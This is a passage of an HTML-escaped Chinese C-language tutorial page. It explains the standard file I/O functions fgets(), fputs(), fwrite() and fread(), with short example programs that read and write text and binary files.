class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE* fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e1024\u003c/span\u003e]; \u003cspan class=\"comment\"\u003e// 数组必须足够大,足以放下一行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e linecount = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;hello.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (fgets(s, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e s, fp) != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d: %s\u0026#34;\u003c/span\u003e, ++linecount, s);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,每读取一行,都会输出行号和该行的内容。\u003c/p\u003e\u003cp\u003e下面的例子是循环读取用户的输入。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e words[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Enter strings (q to quit):\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (fgets(words, \u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estdin\u003c/span\u003e) != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (words[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] == \u003cspan class=\"string\"\u003e\u0026#39;q\u0026#39;\u003c/span\u003e \u0026amp;\u0026amp; words[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] == \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(words);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Done.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的示例中,如果用户输入的字符串大于9个字符,\u003ccode\u003efgets()\u003c/code\u003e会多次读取。直到遇到\u003ccode\u003eq\u003c/code\u003e + 回车键,才会退出循环。\u003c/p\u003e\u003ch3 id=\"fputs\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fputs\" class=\"headerlink\" title=\"fputs()\"\u003e\u003c/a\u003efputs()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efputs()\u003c/code\u003e函数用于向文件写入字符串,和\u003ccode\u003eputs()\u003c/code\u003e函数只有一点不同,那就是它不会在字符串末尾添加换行符。这是因为\u003ccode\u003efgets()\u003c/code\u003e保留了换行符,所以\u003ccode\u003efputs()\u003c/code\u003e就不添加了。\u003ccode\u003efputs()\u003c/code\u003e函数通常与\u003ccode\u003efgets()\u003c/code\u003e配对使用。\u003c/p\u003e\u003cp\u003e它的原型定义在\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efputs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* str, FILE* stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是字符串指针,第二个参数是要写入的文件指针。如果第二个参数为\u003ccode\u003estdout\u003c/code\u003e(标准输出),就是将内容输出到计算机屏幕,等同于\u003ccode\u003eprintf()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e words[\u003cspan class=\"number\"\u003e14\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Enter a string, please.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efgets(words, \u003cspan class=\"number\"\u003e14\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estdin\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;This is your string:\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efputs\u003c/span\u003e(words, \u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,先用\u003ccode\u003efgets()\u003c/code\u003e从\u003ccode\u003estdin\u003c/code\u003e读取用户输入,然后用\u003ccode\u003efputs()\u003c/code\u003e输出到\u003ccode\u003estdout\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e写入成功时,\u003ccode\u003efputs()\u003c/code\u003e返回一个非负整数,否则返回 EOF。\u003c/p\u003e\u003ch3 id=\"fwrite\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fwrite\" class=\"headerlink\" title=\"fwrite()\"\u003e\u003c/a\u003efwrite()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efwrite()\u003c/code\u003e用来一次性写入较大的数据块,主要用途是将数组数据一次性写入文件,适合写入二进制数据。它的原型定义在\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003efwrite\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* ptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e nmemb,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e FILE* fp\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受四个参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eptr\u003c/code\u003e:数组指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003esize\u003c/code\u003e:每个数组成员的大小,单位字节。\u003c/li\u003e\u003cli\u003e\u003ccode\u003enmemb\u003c/code\u003e:数组成员的数量。\u003c/li\u003e\u003cli\u003e\u003ccode\u003efp\u003c/code\u003e:要写入的文件指针。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e注意,\u003ccode\u003efwrite()\u003c/code\u003e原型的第一个参数类型是\u003ccode\u003evoid*\u003c/code\u003e,这是一个无类型指针,编译器会自动将参数指针转成\u003ccode\u003evoid*\u003c/code\u003e类型。正是由于\u003ccode\u003efwrite()\u003c/code\u003e不知道数组成员的类型,所以才需要知道每个成员的大小(第二个参数)和成员数量(第三个参数)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efwrite()\u003c/code\u003e函数的返回值是成功写入的数组成员的数量(注意不是字节数)。正常情况下,该返回值就是第三个参数\u003ccode\u003enmemb\u003c/code\u003e,但如果出现写入错误,只写入了一部分成员,返回值会比\u003ccode\u003enmemb\u003c/code\u003e小。\u003c/p\u003e\u003cp\u003e要将整个数组\u003ccode\u003earr\u003c/code\u003e写入文件,可以采用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efwrite(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr) / \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esizeof(a[0])\u003c/code\u003e是每个数组成员占用的字节,\u003ccode\u003esizeof(a) / sizeof(a[0])\u003c/code\u003e是整个数组的成员数量。\u003c/p\u003e\u003cp\u003e下面的例子是将一个大小为256字节的字符串写入文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e256\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efwrite(buffer, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e256\u003c/span\u003e, fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003ebuffer\u003c/code\u003e每个成员是1个字节,一共有256个成员。由于\u003ccode\u003efwrite()\u003c/code\u003e是连续内存复制,所以写成\u003ccode\u003efwrite(buffer, 256, 1, fp)\u003c/code\u003e也能达到目的。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efwrite()\u003c/code\u003e没有规定一定要写入整个数组,只写入数组的一部分也是可以的。\u003c/p\u003e\u003cp\u003e任何类型的数据都可以看成是1字节数据组成的数组,或者是一个成员的数组,所以\u003ccode\u003efwrite()\u003c/code\u003e实际上可以写入任何类型的数据,而不仅仅是数组。比如,\u003ccode\u003efwrite()\u003c/code\u003e可以将一个 Struct 结构写入文件保存。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efwrite(\u0026amp;s, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(s), \u003cspan class=\"number\"\u003e1\u003c/span\u003e, fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003es\u003c/code\u003e是一个 Struct 结构指针,可以看成是一个成员的数组。注意,如果\u003ccode\u003es\u003c/code\u003e的属性包含指针,存储时需要小心,因为保存指针可能没意义,还原出来的时候,并不能保证指针指向的数据还存在。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efwrite()\u003c/code\u003e以及后面要介绍的\u003ccode\u003efread()\u003c/code\u003e,比较适合读写二进制数据,因为它们不会对写入的数据进行解读。二进制数据可能包含空字符\u003ccode\u003e\\0\u003c/code\u003e,这是 C 语言的字符串结尾标记,所以读写二进制文件,不适合使用文本读写函数(比如\u003ccode\u003efprintf()\u003c/code\u003e等)。\u003c/p\u003e\u003cp\u003e下面是一个写入二进制文件的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE* fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e bytes[] = {\u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e88\u003c/span\u003e, \u003cspan class=\"number\"\u003e255\u003c/span\u003e, \u003cspan class=\"number\"\u003e12\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;output.bin\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;wb\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fwrite(bytes, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e), \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(bytes), fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,写入二进制文件时,\u003ccode\u003efopen()\u003c/code\u003e要使用\u003ccode\u003ewb\u003c/code\u003e模式打开,表示二进制写入。\u003ccode\u003efwrite()\u003c/code\u003e可以把数据解释成单字节数组,因此它的第二个参数是\u003ccode\u003esizeof(char)\u003c/code\u003e,第三个参数是数组的总字节数\u003ccode\u003esizeof(bytes)\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e上面例子写入的文件\u003ccode\u003eoutput.bin\u003c/code\u003e,使用十六进制编辑器打开,会是下面的内容。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e05\u003c/span\u003e \u003cspan class=\"number\"\u003e25\u003c/span\u003e \u003cspan class=\"number\"\u003e00\u003c/span\u003e \u003cspan class=\"number\"\u003e58\u003c/span\u003e ff \u003cspan class=\"number\"\u003e0\u003c/span\u003ec\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efwrite()\u003c/code\u003e还可以连续向一个文件写入数据。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eclientData\u003c/span\u003e \u003cspan class=\"title\"\u003emyClient\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;foo bar\u0026#39;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= \u003cspan class=\"number\"\u003e100\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fwrite(\u0026amp;myClient, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e clientData), \u003cspan class=\"number\"\u003e1\u003c/span\u003e, cfPtr);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efwrite()\u003c/code\u003e连续将100条数据写入文件。\u003c/p\u003e\u003ch3 id=\"fread\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fread\" class=\"headerlink\" title=\"fread()\"\u003e\u003c/a\u003efread()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efread()\u003c/code\u003e函数用于一次性从文件读取较大的数据块,主要用途是将文件内容读入一个数组,适合读取二进制数据。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan 